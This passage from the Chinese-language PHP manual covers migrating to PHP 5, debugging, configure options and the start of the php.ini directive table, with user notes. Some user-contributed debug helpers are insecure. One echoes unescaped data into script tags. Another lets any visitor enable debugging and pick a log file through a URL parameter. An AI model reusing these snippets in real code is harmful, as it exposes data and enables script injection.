I could then find out the resulting file name through the super global $_ENV, for instance:

<?php
echo "The actual filename is ".$_ENV['REDIRECT_TARGET'];
?>

Note: The "REDIRECT_" prefix appears to be allocated automatically by ModRewrite.
cyberhorse 05-Aug-2004 10:07
clone() is a php function now.

if you create a subclass, it no longer uses samename methods in superclass as a constructor.


CLI 和 CGI

PHP 5 中对 CLI 和 CGI 文件名作了些改变。PHP 5 中，CGI 版本被改名为 php-cgi.exe（以前是 php.exe），现在主目录中的是 CLI 版本（之前是 cli/php.exe）。

PHP 5 中引进了一种新模式：php-win.exe。这和 CLI 版本相同，只除了 php-win 不输出任何内容，因此不会提供控制台（屏幕上不会闪过"dos 窗口"）。此行为类似 php-gtk。

PHP 5 中，CLI 版本总会产生全局变量 $argv 和 $argc 而不管 php.ini 是怎么设的。即使将 register_argc_argv 设为 off 也不影响 CLI。

参见命令行模式。

User Contributed Notes

There are no user contributed notes for this page.


移植配置文件

由于 ISAPI 模块的名字改了，从 php4xxx 改为 php5xxx，因此需要对配置文件作些修改。CLI 和 CGI 文件名也改了。更多信息请查看相应章节。

移植 Apache 配置极其简单。照下面的例子来检查需要做的修改：

Example #1 移植 Apache 配置文件到 PHP 5

# 将下面这行：
LoadModule php4_module /php/sapi/php4apache2.dll

# 改成这一行：
LoadModule php5_module /php/php5apache2.dll

如果 web 服务器是以 CGI 模式运行 PHP 的，应该注意 CGI 版本的名字从 php.exe 改为了 php-cgi.exe。在 Apache 中，应该照这样改：

Example #2 移植 Apache 配置文件到 PHP 5，CGI 模式

# 将下面这行：
Action application/x-httpd-php "/php/php.exe"

# 改成这一行：
Action application/x-httpd-php "/php/php-cgi.exe"

其它的 web 服务器中，需要修改 CGI 或者 ISAPI 模块的名字。

User Contributed Notes

There are no user contributed notes for this page.


新函数

PHP 5 有了些新函数。下面是列表：

Arrays:

  • array_combine() - 用一个数组作为键名，另一个数组作为值创建一个新数组
  • array_diff_uassoc() - 计算数组的差别，并用用户提供的回调函数作附加的索引检查
  • array_udiff() - 用回调函数比较数据来计算数组的差别
  • array_udiff_assoc() - 计算数组的差别并作附加的索引检查。用回调函数来比较数据
  • array_udiff_uassoc() - 计算数组的差别并作附加的索引检查。数据的比较和索引检查都用回调函数来完成
  • array_walk_recursive() - 对数组的每个成员递归使用用户函数
  • array_uintersect_assoc() - 计算数组的交集并作附加的索引检查。用回调函数来比较数据
  • array_uintersect_uassoc() - 计算数组的交集并作附加的索引检查。数据和索引都用回调函数来比较
  • array_uintersect() - 计算数组的交集。用回调函数来比较数据

InterBase:

  • ibase_affected_rows() - 返回前一个查询影响到的行的数目
  • ibase_backup() - 在服务管理器中发起一个后台任务并立即返回
  • ibase_commit_ret() - 提交一个事务但不关闭
  • ibase_db_info() - 请求有关数据库的统计信息
  • ibase_drop_db() - 删除一个数据库
  • ibase_errcode() - 返回一个错误代码
  • ibase_free_event_handler() - 取消一个已注册的事件句柄
  • ibase_gen_id() - 递增指定的发生器并返回其新值
  • ibase_maintain_db() - 在数据库服务器上执行一条维护命令
  • ibase_name_result() - 给结果集指定一个名字
  • ibase_num_params() - 返回一个准备好的查询的参数数目
  • ibase_param_info() - 返回一个准备好的查询的参数信息
  • ibase_restore() - 在服务管理器中发起一个还原任务并立即返回
  • ibase_rollback_ret() - 回卷一笔事务并保留事务上下文
  • ibase_server_info() - 请求有关数据库服务器的统计信息
  • ibase_service_attach() - 连接到服务管理器
  • ibase_service_detach() - 从服务管理器断开
  • ibase_set_event_handler() - 注册一个当事件发布时要调用的回调函数
  • ibase_wait_event() - 等待数据库发布一条事件

iconv:

  • iconv_mime_decode() - 解码 MIME 头信息字段
  • iconv_mime_decode_headers() - 一次解码多个 MIME 头信息字段
  • iconv_mime_encode() - 压缩 MIME 头信息字段
  • iconv_strlen() - 返回字符串中的字符计数
  • iconv_strpos() - 在堆栈中找到第一个出现的子串位置
  • iconv_strrpos() - 在堆栈中找到最后一个出现的子串位置
  • iconv_substr() - 从字符串中取出一部分

Streams:

  • stream_copy_to_stream() - 把一个流的数据复制到另一个流
  • stream_get_line() - 根据给定的分隔符中流中读取一行
  • stream_socket_accept() - 接受一个由 stream_socket_server() 建立的 socket 连接
  • stream_socket_client() - 打开一个 Internet 或 Unix 域的 socket 连接
  • stream_socket_get_name() - 获取本地或远程的 sockets 名字
  • stream_socket_recvfrom() - 从 socket 获取数据（不管连接是否已经建立）
  • stream_socket_sendto() - 向 socket 发送一个消息（不管连接是否已经建立）
  • stream_socket_server() - 建立一个 Internet 或 Unix 域服务器的 socket

Date/Time:

  • idate() - 将本地时间格式化为整数
  • date_sunset() - 计算所指定日期和地点的日落时间
  • date_sunrise() - T计算所指定日期和地点的日出时间
  • time_nanosleep() - 廷迟执行程若干秒和若干纳秒

Strings:

  • str_split() - 把一个字符串分割为数组
  • strpbrk() - 在一字符串中搜索给定的字符集合中的任意一个字符
  • substr_compare() - 以二进制的形式比较两个字符串，从第一个字符串的 offset 开始，直到到达长度为 length 时结束，可自定义是否大小写敏感比较

Other:

  • convert_uudecode() - 解码 uuencoded 的字符串
  • convert_uuencode() - 对字符串进行 uuencode
  • curl_copy_handle() - 复制一个 cURL 句柄及其所有参数
  • dba_key_split() - 把一个键分隔为字符串数组
  • dbase_get_header_info() - 取得 dBase 数据库的头部信息
  • dbx_fetch_row() - 获取结果集中被设置为 DBX_RESULT_UNBUFFERED 的行
  • fbsql_set_password() - 修改指定用户的密码
  • file_put_contents() - 向一个文件内写入字符串
  • ftp_alloc() - 为准备上传的文件分配空间
  • get_declared_interfaces() - 以数组的形式返回所有已定义的接品
  • get_headers() - 获取服务器响应 HTTP 请求时的所有头部信息
  • headers_list() - 返回所有已发送或准备发送响应头部列表
  • http_build_query() - 生成一个已经过 URL 编码的请求字符串
  • image_type_to_extension() - 根据
getimagesize(),
exif_read_data(),
exif_thumbnail(),
exif_imagetype() 所返回的 image-type 取得文件名后缀
  • imagefilter() - 对图像应用滤镜
  • imap_getacl() - 获取指定邮箱的 ACL
  • ldap_sasl_bind() - 使用 SASL 绑定到 LDAP 目录
  • mb_list_encodings() - 以数组的形式返回所支持的全部字符集
  • pcntl_getpriority() - 获得任意一个进程的优先级
  • pcntl_wait() - Waits on or returns the status of a forked child as defined by the waitpid() system call
  • pg_version() - 返回一个包含客户端、协议和服务器版本的数组
  • php_check_syntax() - 检查指定文件的语法
  • php_strip_whitespace() - 返回已经去除注释和空白的源代码
  • proc_nice() - 修改当前进程的优前级
  • pspell_config_data_dir() - 修改语言文件的位置
  • pspell_config_dict_dir() - 修改主要单词列表的位置
  • setrawcookie() - 发送一个没有经过 url 编码的 cookie 值
  • scandir() - 列中指定目录中的所有子目录和文件
  • snmp_read_mib() - 在一个可用的 MIB 树中读取和分板一个 MIB 文件
  • sqlite_fetch_column_types() - 以数组的形式返回一张表中的列类型

Note:

Tidy 扩展库的 API 也作了重大调整

User Contributed Notes

There are no user contributed notes for this page.


新指令

PHP 5 在 php.ini 中引进了一些新指令。列表如下：

  • mail.force_extra_parameters - 强制指定的参数附加值作为额外的参数传递给 sendmail 库。这些参数总是会替换掉 mail() 的第 5 个参数，即使在安全模式下
  • register_long_arrays - 允许／禁止 PHP 注册已过时的 $HTTP_*_VARS 变量
  • session.hash_function - 选择一种散列函数（MD5 或 SHA-1）
  • session.hash_bits_per_character - 定义将二进制散列数据转换为可读格式时每个字符中储存几个位（从 4 到 6）
  • zend.ze1_compatibility_mode - 启用 Zend Engline 1 代（PHP 4）兼容模式

User Contributed Notes

There are no user contributed notes for this page.


数据库

关于数据库（MySQL 和 SQLite）在 PHP 5 中有些改变。

因为授权和维护问题，PHP 5 中不再默认绑定 MySQL 客户端连接库。 本质上讲， PHP 的 configure 不再包含 --with-mysql 选项， 所以需要在编译 PHP 的时候自己手动加上选项。 Windows 用户需要编辑 php.ini 开启 PHP 4 中不存在的 php_mysql.dll DLL 文件，因为之前内置于 PHP 二进制文件中。

有个新扩展库 MySQLi（改良版 MySQL），设计用来工作于 MySQL 4.1 及更高版本之下。

自 PHP 5 起，SQLite 扩展库内置在 PHP 中。SQLite 是一个可嵌入 SQL 数据库引擎，不是客户端连接库用来连接大型数据库服务器（如 MySQL 或 PostgreSQL）的。SQLite 库直接读写磁盘上的数据库文件。

User Contributed Notes

There are no user contributed notes for this page.


新对象模型

PHP 5 中有个新对象模型（Object Model）。PHP 处理对象的方式完全重写了，允许更佳性能和更多特性。之前版本的 PHP，对象处理方式和原始类型（例如整型和字符串）相同。此方法的缺点是当变量被赋值或作为参数传递给方法时语义上整个对象都被拷贝。在新方法中，对象通过句柄引用，而不是值（可以将句柄当成是对象的标识符）。

很多 PHP 程序员根本没意识到旧的对象模型的这种拷贝怪癖，因此大多数 PHP 应用程序拿来就能运行，或者只做很小的修改。

新对象模型的文档见语言参考。

与 PHP 4 的兼容性参见 zend.ze1_compatibility_mode。

User Contributed Notes

zzo38 07-Oct-2007 08:06
You should be able to clone a object in compatibility of PHP4,PHP5 with:
<?php
 $x=unserialize(serialize($y));
?>
bdas at premiergroup dot uk dot com 25-May-2007 07:49
Since PHP5 upgraded PHP to an OOP language, they CHANGED the metaphor so that when you copy an object, you just get a pointer to it (as in C# and Java) and so therefore they needed to make a way to CLONE objects as well in case you need a REAL copy of the object.

Most cases, clone is not needed, simply because a real copy of an object is usually not mandatory.  In special cases, object cloning can be used to save time in porting.
quinn at strangecode dot com 19-May-2006 08:53
Here is another possible solution for migrating code to php 5 when using $this = 'something' reassignments. In my case, I had several classes  with methods that were self-instantiating with static calls. I was able to simply use a different variable: I changed $this to $_this and it worked the same because I copied an instance of the original object by reference using an instantiation factory method:

class DB {
    function &getInstance()
    {
        static $instance = null;

        if ($instance === null) {
            $instance = new DB();
        }

        return $instance;
    }
    ...

In every method needing access to this object I assigned it to a temporary variable by reference:

    function doSomething ()
    {
        $_this =& DB::getInstance();

        $_this->doSomethingElse();
        $_this->param['id'] = 123;
    }

Which allows method calls or saving data back to the original object.

I originally created classes like this so I didn't need to keep track of instantiations or global objects. I could just call DB::doSomething() and the object is created dynamically or referenced from an already existing object.


错误报告

自 PHP 5 起引进了新常量 E_STRICT，其值为 2048。它提供了对用户代码的协同性和向前兼容性的运行时 PHP 建议，有助于使用户保持最新和最好的编程风格。例如在使用已过时的函数时 STRICT 信息会提出警告。

Note: E_ALL 不包括 E_STRICT，因此其默认未激活。

User Contributed Notes

Anonymous 13-Aug-2012 01:28
According to the notes in the php.ini file, E_ALL *does* include E_STRICT; to exclude it you would use E_ALL & ~E_STRICT

This may be useful for someone who has upgraded and kept their old php.ini
Anonymous 31-Mar-2008 05:52
To enable full error reporting (recommended for development boxes) use:

use error_reporting(E_ALL | E_STRICT);

or in php.ini:

error_reporting  =  E_ALL | E_STRICT


PHP 的调试

Table of Contents

  • 关于调试器

User Contributed Notes

metron19 at yandex dot ru 31-Jul-2019 12:56
A good example of data output to the console via <script> tags, I myself used this first, but he broke the captcha job, because <script> tags were inserted into the base64 code of the captcha picture. Then I began to display logs in the headers with such a function (it may help someone else, in a similar situation):

<?php

function header_log($data){
  $bt = debug_backtrace();
  $caller = array_shift($bt);
  $line = $caller['line'];
  $file = array_pop(explode('/', $caller['file']));
  header('log_'.$file.'_'.$caller['line'].': '.json_encode($data));
}

?>

Usage:
$myvar = array(1,2,3);
header_log( $myvar ); // in headers we see: log_filename_rownumber: [1,2,3]
tekintian at gmail dot com 24-Mar-2019 12:07
<?php
/**
 * 测试打印方法
 * @FileName: test_helper.php
 * @Author: TekinTian
 * @QQ: 3316872019
 * @Email: tekintian@gmail.com
 * @Supported: http://dev.yunnan.ws/
 * @Date:   2017-01-23 11:45:26
 * @Last Modified 2019-03-04
 */

if (!function_exists('dd')) {
    /**
     * 测试打印函数
     * @param  [type] $arr [description]
     * @return [type]      [description]
     */
    function dd($arr) {
        if (is_array($arr)) {
            echo "<pre>";
            print_r($arr);
            echo "</pre>";
        } else if (is_object($arr)) {
            echo "<pre>";
            print_r($arr);
            echo "</pre>";

        } else {
            echo $arr;
        }
        die;
    }
}

if (!function_exists('pp')) {
    /**
     * 格式化输出
     * @param  [type] $arr [description]
     * @return [type]      [description]
     */
    function pp($arr) {
        if (is_array($arr)) {
            echo "<pre>";
            print_r($arr);
            echo "</pre>";
        } else if (is_object($arr)) {
            echo "<pre>";
            print_r($arr);
            echo "</pre>";

        } else {
            echo $arr;
        }
        die;
    }
}

if (!function_exists('pr')) {
    /**
     * 打印不中断
     */
    function pr($arr) {
        if (is_array($arr)) {
            echo "<pre>";
            print_r($arr);
            echo "</pre>";
        } else if (is_object($arr)) {
            echo "<pre>";
            print_r($arr);
            echo "</pre>";

        } else {
            echo $arr;
        }
    }
}

if (!function_exists('vd')) {
    /**
     * 测试打印函数
     * @param  [type] $arr [description]
     * @return [type]      [description]
     */
    function vd($arr) {
        echo "<pre>";
        var_dump($arr);
        echo "</pre>";
        die;
    }
}

if (!function_exists('vv')) {
    function vv($arr) {
        echo "<pre>";
        var_dump($arr);
        echo "</pre>";
    }
}

if (!function_exists('console_log')) {
    /**
     * console.log控制台调试函数
     * @param  [type] $data [要在控制台输出的数据 支持数组、对象和字符串]
     * @return [type]       [description]
     */
    function console_log($data) {
        if (is_array($data) || is_object($data)) {
            echo ("<script>console.log('" . json_encode($data) . "');</script>");
        } else {
            echo ("<script>console.log('" . $data . "');</script>");
        }
    }
}

/**
 * 浏览器友好的变量输出,便于调试时候使用
 *
 * @param     mixed   $var       要输出查看的内容
 * @param     bool    $echo      是否直接输出
 * @param     string  $label     加上说明标签,如果有,这显示"标签名:"这种形式
 * @param     bool    $strict    是否严格过滤
 * @return    string
 */
if (!function_exists('dump')) {
    function dump($var, $echo = true, $label = null, $strict = true) {
        $label = ($label === null) ? '' : rtrim($label) . ' ';
        if (!$strict) {
            if (ini_get('html_errors')) {
                $output = print_r($var, true);
                $output = "<pre>" . $label . htmlspecialchars($output, ENT_QUOTES) . "</pre>";
            } else {
                $output = $label . " : " . print_r($var, true);
            }
        } else {
            ob_start();
            var_dump($var);
            $output = ob_get_clean();
            if (!extension_loaded('xdebug')) {
                $output = preg_replace("/\]\=\>\n(\s+)/m", "] => ", $output);
                $output = '<pre>' . $label . htmlspecialchars($output, ENT_QUOTES) . '</pre>';
            }
        }
        if ($echo) {
            echo ($output);
            return null;
        } else {
            return $output;
        }

    }
}
rajendra at skydevelopers dot net 29-Sep-2018 11:06
I also use a method to print complete data from www.skydevelopers.net company:

function dd($data) {
    echo '<pre>';
    print_r($data);
    exit;
}

well this is also very beneficial
eric at derewonko dot com 14-Jan-2018 09:08
None of the given examples here do fit my needs.
When I debug, I want to see clearly what's going on and where is the debug data. Also it has to accommodate with the current styles and not fall behind or get mixed with other text etc.
This snippet will give you real debug notices in a flashy table:
- complete backtrace of calls on the left with line numbers
- arguments content on the right, with the variable name and coloring per variable type

<?php
function wtf(){
  error_reporting(E_ALL);
  $args = func_get_args();
  $backtrace = debug_backtrace();
  $file = file($backtrace[0]['file']);
  $src  = $file[$backtrace[0]['line']-1];  // select debug($varname) line where it has been called
  $pat  = '#(.*)'.__FUNCTION__.' *?\( *?\$(.*) *?\)(.*)#i';  // search pattern for wtf(parameter)
  $arguments  = trim(preg_replace($pat, '$2', $src));  // extract arguments pattern
  $args_arr = array_map('trim', explode(',', $arguments));

  print '<style>
  div.debug {visible; clear: both; display: table; width: 100%; font-family: Courier,monospace; border: medium solid red; background-color: yellow; border-spacing: 5px; z-index: 999;}
  div.debug > div {display: unset; margin: 5px; border-spacing: 5px; padding: 5px;}
  div.debug .cell {display: inline-flex; padding: 5px; white-space: pre-wrap;}
  div.debug .left-cell {float: left; background-color: Violet;}
  div.debug .array {color: RebeccaPurple; background-color: Violet;}
  div.debug .object pre {color: DodgerBlue; background-color: PowderBlue;}
  div.debug .variable pre {color: RebeccaPurple; background-color: LightGoldenRodYellow;}
  div.debug pre {white-space: pre-wrap;}
  </style>'.PHP_EOL;
  print '<div class="debug">'.PHP_EOL;
  foreach ($args as $key => $arg) {
    print '<div><div class="left-cell cell"><b>';
    array_walk(debug_backtrace(),create_function('$a,$b','print "{$a[\'function\']}()(".basename($a[\'file\']).":{$a[\'line\']})<br> ";'));
    print '</b></div>'.PHP_EOL;
    if (is_array($arg)) {
      print '<div class="cell array"><b>'.$args_arr[$key].' = </b>';
      print_r(htmlspecialchars(print_r($arg)), ENT_COMPAT, 'UTF-8');
      print '</div>'.PHP_EOL;
    } elseif (is_object($arg)) {
      print '<div class="cell object"><pre><b>'.$args_arr[$key].' = </b>';
      print_r(htmlspecialchars(print_r(var_dump($arg))), ENT_COMPAT, 'UTF-8');
      print '</pre></div>'.PHP_EOL;
    } else {
      print '<div class="cell variable"><pre><b>'.$args_arr[$key].' = </b>&gt;';
      print_r(htmlspecialchars($arg, ENT_COMPAT, 'UTF-8').'&lt;');
      print '</pre></div>'.PHP_EOL;
    }
    print '</div>'.PHP_EOL;
  }
  print '</div>'.PHP_EOL;
}
?>

Usage: wtf($arg1, $arg2,..);
That's it!
Bladimir 28-Sep-2017 02:24
Following example above using variable-lenght arguments to support similar Web API's console.log implementation

<?php
function console_log( ...$messages ){
  $msgs = '';
  foreach ($messages as $msg) {
    $msgs .= json_encode($msg);
  }

  echo '<script>';
  echo 'console.log('. json_encode($msgs) .')';
  echo '</script>';
}

?>
Anonymous 19-Apr-2017 08:17
I would like to add http://phpdebugbar.com/ which is also a handy tool for debugging/profiling data. and you could use it whenever framework you are using. :-)
netyou 27-Sep-2015 07:29
I find it very useful to print out to the browsers console instead of just var_dumping:

function console_log( $data ){
  echo '<script>';
  echo 'console.log('. json_encode( $data ) .')';
  echo '</script>';
}

Usage:
$myvar = array(1,2,3);
console_log( $myvar ); // [1,2,3]
skatebiker at gmail dot com 05-Dec-2014 01:24
p_r() is a function for logging variable values.

In this example the function p_r() does only log when the URL parameter d=<nonzero> is set. Reset it by d=0.
When  the parameter is a valid filename (relative to the script's path) it will be logged to that file rather than to the browser.

[code]
@session_start();
// debug
if (isset($_GET['d']))
{
  $_SESSION['d'] = $_GET['d'];
}

if (@$_SESSION['d']) {

function p_r($exp)
{
  $res = "";
  $trace = debug_backtrace();
  $level = 0;
  $e = error_reporting(E_ALL&~E_NOTICE);
  $file = strrpos($trace[$level]['file'], "/");
  $file = substr($trace[$level]['file'],$file+1);
  $line = date("H:i:s"). " " . $file . ' ' . $trace[$level]['line'] . ' ' . $trace[$level+1]['function'] . "()";
  $e = error_reporting($e);
  if (!is_string($exp)) $exp = var_export($exp,1);
  if (substr($_SESSION["d"],-4)==".log") {
    file_put_contents ($_SESSION["d"],$line . ": ". $exp . "\n",  FILE_APPEND);
  } else {
    $res = $line . "\n<pre>".htmlentities($exp). "</pre>\n";
    echo $res;
  }
  return $res;
}

    // refresh to prevent timeout
  $a = $_SESSION['d'];
  $_SESSION['d'] = $a;
  error_reporting (E_ALL);

} else {
  function  p_r() {}
}  // end if debug

[/code]
online _ use _ only == hotmail.com 15-Mar-2006 03:41
I still find that printing out variable values at problem points in the code is one of the easiest ways for me to debug.  If you're interested in knowing the full contents of an object/array/scalar, then use

var_dump($var).


关于调试器

PHP 5.6 带来了 phpdbg 交互式调试器。 PHP 5.6以下的版本尽管没有内部调试器，但是可以使用外部调试器。» Zend IDE 就是其中之一，它包含一个调试器。也有一些免费的调试器，比如在 » http://www.php-debugger.com/dbg/ 上的 DBG，» Advanced PHP Debugger（APD）或者 » Xdebug。

User Contributed Notes

pegasus.is.a.geek[at]gmail 24-May-2019 07:51
NOTE: ADP hasn't been maintained since 2004


配置选项

Table of Contents

  • 核心配置选项列表

User Contributed Notes

jovcic ate gseis stop ucla stop edu 08-Jul-2005 06:26
If you'e compiling a shared extension (e.g. pspell) whose libs & headers are not in the usual place, use the following:

--with-pspell=shared,/my/custom/path/to/pspell/

Took me forever to figure out, since Google had no answer for me.
squeeNoSpam at NoSpamAddress dot com 14-Aug-2002 12:06
[Editor's note: The reason why some general options for the "configure" scripts are not documented is that said script is part of the GNU autoconf tools, and as such its general options are documented elsewhere, e.g.: http://www.gnu.org/manual/autoconf/index.html and http://www.airs.com/ian/configure/. Some are also documented in the INSTALL file that comes with the source distribution.]

The --prefix=PREFIX configure option isn't mentioned here. It apparently defaults to /usr/local, and sets the position of the php includes and libs. (in PREFIX/include/php and PREFIX/lib/php)


核心配置选项列表

下面是 PHP 的 configure 脚本使用的部分选项的列表，用于类 Unix 环境的编译。大部分配置选项在扩展模块参考页面适当的位置列出，而不是在这里。要查看所有可用配置选项的列表，在运行 autoconf 命令后在 PHP 的源代码目录运行 ./configure --help（参见安装与配置一章）。也可以阅读 » GNU configure 文档以获得有关 configure 命令的更详细信息，例如 --prefix=PREFIX。

Note:

这些选项只用在编译的时候。如果想要修改 PHP 的运行时配置，请阅读运行时配置。

  • 杂项
  • PHP 行为
  • 服务器

PHP 配置选项

杂项选项

--enable-debug

编译时加入调试符号。

--with-layout=TYPE

设置被安装文件的布局。TYPE 是 PHP（默认）或 GNU。

--with-pear=DIR

在 DIR（默认为 PREFIX/lib/php）中安装 PEAR。

--without-pear

不安装 PEAR。

--enable-sigchild

使用 PHP 自带的 SIGCHLD 处理器。

--disable-rpath

禁用在搜索路径中传递其他运行库。

--enable-libgcc

启用 libgcc 的精确链接。

--enable-php-streams

包含试验性的 PHP 流。不要使用此选项，除非是要测试代码！

--with-zlib-dir[=DIR]

定义 zlib 的安装目录。

--with-tsrm-pthreads

使用 POSIX 线程（默认）。

--enable-shared[=PKGS]

编译共享库 [default=yes]。

--enable-static[=PKGS]

编译静态库 [default=yes]。

--enable-fast-install[=PKGS]

为快速安装优化 [default=yes]。

--with-gnu-ld

假设 C 编译器使用 GNU ld [default=no]。

--disable-libtool-lock

避免锁死（可能破坏并联的编译）。

--with-pic

尝试仅使用 PIC/非 PIC 对象 [default=use both]。

--enable-memory-limit

编译内存限制支持功能。(自PHP 5.2.1开始不可用，默认enable)

--disable-url-fopen-wrapper

禁用 URL 形式的 fopen 封装协议。该协议允许通过 HTTP 或者 FTP 访问文件。 （自PHP5.2.5开始不可用）

--enable-versioning

仅导出必须的符号。查看 INSTALL 文件以获得更多信息。

PHP 选项

--enable-maintainer-mode

对偶然安装一下的情形启用此选项，使得不检查编译规则和依赖关系。

--with-config-file-path=PATH

设置 php.ini 的搜索路径。默认为 PREFIX/lib。

--enable-safe-mode

默认启用安全模式。

Warning

本特性已自 PHP 5.3.0 起废弃并将自 PHP 5.4.0 起移除。

--with-exec-dir[=DIR]

在安全模式时仅允许在 DIR 目录中执行。默认目录为 /usr/local/php/bin。

Warning

本特性已自 PHP 5.3.0 起废弃并将自 PHP 5.4.0 起移除。

--enable-magic-quotes

默认启用 magic quotes。

Warning

本特性已自 PHP 5.3.0 起废弃并将自 PHP 5.4.0 起移除。

--disable-short-tags

默认禁用短形式的开始标签 <? 。

--enable-zend-multibyte

在词法与语法分析时允许多字节编码被执行。如果在编译PHP时使用了这个选项，就能够在 declare 结构中使用 encoding指令。

Warning

本特性已自 PHP 5.3.0 起废弃并将自 PHP 5.4.0 起移除。

--with-libdir

指定Uxin系统库文件目录用于构建 PHP。 对于64位系统, 需要指定 lib64 目录,比如--with-libdir=lib64

SAPI 选项

下面的列表包含 PHP 可用的SAPI（服务器应用编程接口）。

--with-aolserver=DIR

指定 AOLserver 的安装路径。

--with-apxs[=FILE]

编译共享的 Apache 模块。FILE 是可选的 Apache apxs 工具的路径，默认指向 apxs。请确认指定的 apxs 已经安装在服务器中，并且它不是 Apache 源码包中的那个 apxs。

--with-apache[=DIR]

编译静态 Apache 模块。DIR 是 Apache 编译目录的顶层，默认为 /usr/local/apache。

--with-mod_charset

启用 mod_charset 的转换表（俄文的 Apache 使用）。

--with-apxs2[=FILE]

编译共享的 Apache 2.0 模块。FILE 是可选的 Apache apxs 工具的路径，默认指向 apxs。

--with-caudium=DIR

为使用 Caudium 编译 PHP 为一个 Pike 模块。DIR 是 Caudium 服务器目录，默认为 /usr/local/caudium/server。

--disable-cli

PHP 4.3.0 之后的版本有效。禁止编译 PHP 的 CLI 版本（使用它将同时强制使用 --without-pear 选项）。更多信息请查考 PHP 的命令行模式。

--enable-embed[=TYPE]

启用编译嵌入的 SAPI 库。TYPE 或者为 shared 或者为 static，默认为 shared。PHP 4.3.0 之后的版本有效。

--with-fhttpd[=DIR]

编译 fhttpd 模块。DIR 是 fhttpd 源代码目录，默认为 /usr/local/src/fhttpd。PHP 4.3.0 及以后的版本此选项不再有效。

--with-isapi=DIR

为 Zeus 服务器以 ISAPI 模块方式编译 PHP。

--with-nsapi=DIR

指定 Netscape/iPlanet/SunONE 的安装目录。

--with-phttpd=DIR

还没有信息。

--with-pi3web=DIR

为 Pi3Web 服务器编译 PHP 模块。

--with-roxen=DIR

以 Pike 模块方式编译 PHP。DIR 是 Roxen 的根目录，默认为 /usr/local/roxen/server。

--enable-roxen-zts

使用 Zend 线程安全（ZTS）编译 Roxen 模块。

--with-servlet[=DIR]

包含 servlet 支持。DIR 是 JSDK 的安装目录。此 SAPI 要求 java 扩展必须作为共享模块编译到 PHP 中。

--with-thttpd=SRCDIR

编译 PHP 为 thttpd 模块。

--with-tux=MODULEDIR

编译 PHP 为 TUX 模块（仅在 Linux 下有效）。

--with-webjames=SRCDIR

编译 PHP 为 WebJames 模块（仅在 RISC 操作系统中有效）。

--disable-cgi

禁止编译 CGI 版本的 PHP。PHP 4.3.0 之后的版本有效。

PHP5.3.0起，这个选项会启用FastCGI，而在以前，必须使用--enable-fastcgi启用FastCGI。

--enable-force-cgi-redirect

启用内部服务器重定向的安全检测。如果在 Apache 下使用 CGI 版本的 PHP，请启用该选项。

PHP 5.3.0起，默认有效并不再存在。要禁用此功能,设置cgi.force_redirect ini指令为 0.

--enable-discard-path

如果启用该选项，PHP CGI 目录可以安全的放在 web 目录树的外面，人们无法避开 .htaccess 的安全限制。

PHP 5.3.0起，默认禁用并不在存在。要启用此功能，设置 cgi-redirect ini指令为1。

--enable-fastcgi

如果启用，CGI 模块将被编译为支持 FastCGI。PHP 4.3.0 之后的版本有效。

PHP 5.3.0起，此参数不再存在，并使用 --enable-cgi替代。

--disable-path-info-check

如果该选项被禁用，例如 /info.php/test?a=b 形式的路径将不能工作。PHP 4.3.0 之后的版本有效。更多信息请参考 » Apache 手册。

User Contributed Notes

There are no user contributed notes for this page.


php.ini 配置

Table of Contents

  • php.ini 配置选项列表
  • php.ini 配置段列表
  • php.ini 核心配置选项说明

User Contributed Notes

There are no user contributed notes for this page.


php.ini 配置选项列表

可以在 php.ini 中使用下列配置选项对 PHP 进行配置。

"可修改范围"列决定了该配置选项在什么情况下可以被设置。查看配置可被设定范围列表查看具体定义。

配置选项
名字 | 默认 | 可修改范围 | 更新日志
allow_call_time_pass_reference | "1" | PHP_INI_PERDIR | 在 PHP 5.4.0 中移除该选项。
allow_url_fopen | "1" | PHP_INI_SYSTEM |
allow_url_include | "0" | PHP_INI_SYSTEM | 从 PHP 5.2.0 起可用。
always_populate_raw_post_data | "0" | PHP_INI_PERDIR |
apc.cache_by_default | "1" | PHP_INI_ALL | 在 APC <= 3.0.12 时是 PHP_INI_SYSTEM。 从 APC 3.0.0 起可用。
apc.enabled | "1" | PHP_INI_SYSTEM | 在 APC 2 时是 PHP_INI_SYSTEM。 在 APC <= 3.0.12 时是 PHP_INI_ALL。
apc.enable_cli | "0" | PHP_INI_SYSTEM | 从 APC 3.0.7 起可用。
apc.file_update_protection | "2" | PHP_INI_SYSTEM | 从 APC 3.0.6 起可用。
apc.filters | NULL | PHP_INI_SYSTEM |
apc.gc_ttl | "3600" | PHP_INI_SYSTEM |
apc.include_once_override | "0" | PHP_INI_SYSTEM | 从 APC 3.0.12 起可用。
apc.localcache | "0" | PHP_INI_SYSTEM | 从 APC 3.0.14 起可用。
apc.localcache.size | "512" | PHP_INI_SYSTEM | 从 APC 3.0.14 起可用。
apc.max_file_size | "1M" | PHP_INI_SYSTEM | 从 APC 3.0.7 起可用。
apc.mmap_file_mask | NULL | PHP_INI_SYSTEM |
apc.num_files_hint | "1000" | PHP_INI_SYSTEM |
apc.optimization | "0" | PHP_INI_ALL | 在 APC 2 时是 PHP_INI_SYSTEM。 在 APC 3.0.13 中移除该选项。
apc.report_autofilter | "0" | PHP_INI_SYSTEM | 从 APC 3.0.11 起可用。
apc.rfc1867 | "0" | PHP_INI_SYSTEM | 从 APC 3.0.13 起可用。
apc.rfc1867_freq | "0" | PHP_INI_SYSTEM |
apc.rfc1867_name | "APC_UPLOAD_PROGRESS" | PHP_INI_SYSTEM |
apc.rfc1867_prefix | "upload_" | PHP_INI_SYSTEM |
apc.shm_segments | "1" | PHP_INI_SYSTEM |
apc.shm_size | "30" | PHP_INI_SYSTEM |
apc.slam_defense | "0" | PHP_INI_SYSTEM | 从 APC 3.0.0 起可用。
apc.stat | "1" | PHP_INI_SYSTEM | 从 APC 3.0.10 起可用。
apc.stat_ctime | "0" | PHP_INI_SYSTEM | 从 APC 3.0.13 起可用。
apc.ttl | "0" | PHP_INI_SYSTEM | 从 APC 3.0.0 起可用。
apc.user_entries_hint | "4096" | PHP_INI_SYSTEM | 从 APC 3.0.0 起可用。
apc.user_ttl | "0" | PHP_INI_SYSTEM | 从 APC 3.0.0 起可用。
apc.write_lock | "1" | PHP_INI_SYSTEM | 从 APC 3.0.11 起可用。
apd.bitmask | "0" | PHP_INI_ALL | 在 apd 0.9 中移除该选项。
apd.dumpdir | NULL | PHP_INI_ALL |
apd.statement_tracing | "0" | PHP_INI_ALL | 从 apd 0.9 起可用。
arg_separator.input | "&" | PHP_INI_PERDIR |
arg_separator.output | "&" | PHP_INI_ALL |
asp_tags | "0" | PHP_INI_PERDIR |
assert.active | "1" | PHP_INI_ALL |
